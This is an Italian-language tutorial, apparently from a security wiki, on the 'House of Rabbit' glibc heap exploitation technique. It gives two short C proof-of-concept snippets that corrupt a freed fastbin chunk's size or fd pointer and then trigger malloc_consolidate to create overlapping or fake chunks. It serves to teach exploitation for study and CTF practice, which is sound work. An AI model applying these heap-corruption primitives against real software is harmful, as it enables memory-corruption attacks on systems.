House of Rabbit

Reading time: 4 minutes

Requisiti

1. Capacità di modificare il puntatore fd del fast bin o la dimensione: Questo significa che puoi cambiare il puntatore forward di un chunk nel fastbin o la sua dimensione.
2. Capacità di attivare malloc_consolidate: Questo può essere fatto allocando un grande chunk o unendo il chunk superiore, il che costringe l'heap a consolidare i chunk.

Obiettivi

1. Creare chunk sovrapposti: Avere un chunk che si sovrappone a un altro, consentendo ulteriori manipolazioni dell'heap.
2. Falsificare chunk falsi: Ingannare l'allocatore facendogli trattare un chunk falso come un chunk legittimo durante le operazioni sull'heap.

Passi dell'attacco

POC 1: Modificare la dimensione di un chunk del fast bin

Obiettivo: Creare un chunk sovrapposto manipolando la dimensione di un chunk del fastbin.

• Passo 1: Allocare Chunk

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state

Allochiamo due chunk di 0x40 byte ciascuno. Questi chunk saranno posizionati nella lista fast bin una volta liberati.

• Passo 2: Liberare i Chunk

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050

Liberiamo entrambi i chunk, aggiungendoli alla lista fastbin.

• Passo 3: Modifica della dimensione del chunk

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])

Modifichiamo i metadati delle dimensioni di chunk1 a 0xa1. Questo è un passaggio cruciale per ingannare l'allocatore durante la consolidazione.

• Passaggio 4: Attivare malloc_consolidate

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Allocare un grande blocco attiva la funzione malloc_consolidate, unendo piccoli blocchi nel fast bin. La dimensione manipolata di chunk1 provoca una sovrapposizione con chunk2.

Dopo la consolidazione, chunk1 sovrappone chunk2, consentendo ulteriori sfruttamenti.

POC 2: Modificare il puntatore fd

Obiettivo: Creare un blocco falso manipolando il puntatore fd del fast bin.

• Passo 1: Allocare Blocchi

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Spiegazione: Allochiamo due chunk, uno più piccolo e uno più grande, per impostare l'heap per il chunk falso.

• Passo 2: Crea chunk falso

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk

Scriviamo metadati falsi del chunk in chunk2 per simulare chunk più piccoli.

• Passo 3: Libera chunk1

free(chunk1);  // Frees the chunk at 0x602000

Spiegazione: Liberiamo chunk1, aggiungendolo alla lista fastbin.

• Passo 4: Modifica fd di chunk1

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Spiegazione: Cambiamo il puntatore forward (fd) di chunk1 per puntare al nostro chunk falso all'interno di chunk2.

• Passo 5: Attivare malloc_consolidate

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Allocare un grande blocco attiva di nuovo malloc_consolidate, che elabora il chunk falso.

Il chunk falso diventa parte della lista fastbin, rendendolo un chunk legittimo per ulteriori sfruttamenti.

Riepilogo

La tecnica House of Rabbit implica la modifica della dimensione di un chunk fast bin per creare chunk sovrapposti o la manipolazione del puntatore fd per creare chunk falsi. Questo consente agli attaccanti di forgiare chunk legittimi nell'heap, abilitando varie forme di sfruttamento. Comprendere e praticare questi passaggi migliorerà le tue abilità di sfruttamento dell'heap.